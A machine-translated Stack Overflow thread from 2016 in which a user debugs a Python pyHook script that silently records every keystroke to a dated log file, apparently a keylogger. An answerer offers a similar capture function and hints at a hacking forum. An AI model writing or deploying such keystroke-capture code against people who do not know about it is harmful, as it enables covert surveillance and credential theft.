Python TypeError требуется целое число pyHook pythoncom

Я написал скрипт:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

но каждый раз, когда событие a или p и некоторые другие буквы, я получаю эту ошибку:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

Кто-нибудь знает, почему?


person Blood    schedule 12.02.2016    source источник


Ответы (2)


Событие - это класс (или, я должен сказать, экземпляр класса), вы можете вызывать информацию из экземпляра (см. код ниже), например, 'event.key' даст вам код символа ASCII. event.alt вернет статус клавиши «alt».

Я помню, как сталкивался с похожей проблемой при написании кейлоггера Python (хотя это был век). Я не вижу ничего плохого в вашем коде. Моя функция «ОКБЕ» выглядела примерно так.

def OnKeyboardEvent(self, event):
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
        data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
        print data # debugging

Я считаю, что использование вышеуказанного метода улавливает большинство (если не все) обычных нажатий клавиш. Используя эту функцию выше, я создал класс с другими функциями ведения журнала.

Если вам нужно что-то еще или выяснить, что происходит в вашем коде, дайте мне знать :)

person RandomHash    schedule 12.02.2016
comment
Вы на ВЧ? найди меня под 0x52-0x75-0x64-0x79 - person RandomHash; 13.02.2016
comment
Можете ли вы дать мне электронное письмо? в stackoverflow нет опции личного сообщения - person Blood; 14.02.2016
comment
[email protected] - person RandomHash; 17.02.2016

Я думаю, что проблема в ошибке... когда я заменяю

log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") пользователя log="log.txt"

все работает нормально

person Blood    schedule 12.02.2016
comment
Да, как я уже сказал, сразу не увидел ничего плохого. Я предлагаю использовать событие Ascii по тем причинам, которые я указал в своем ответе. Причины, по которым я использовал другой оператор if, заключаются в том, что он будет захватывать больше ключевых событий. Посмотрите, чему соответствуют эти нажатия клавиш, они универсальны. Я не могу вспомнить навскидку. - person RandomHash; 13.02.2016
comment
log =str(log +str(time.strftime(%d,%B,localtime()))+.txt) отлично работает на моей машине. - person RandomHash; 13.02.2016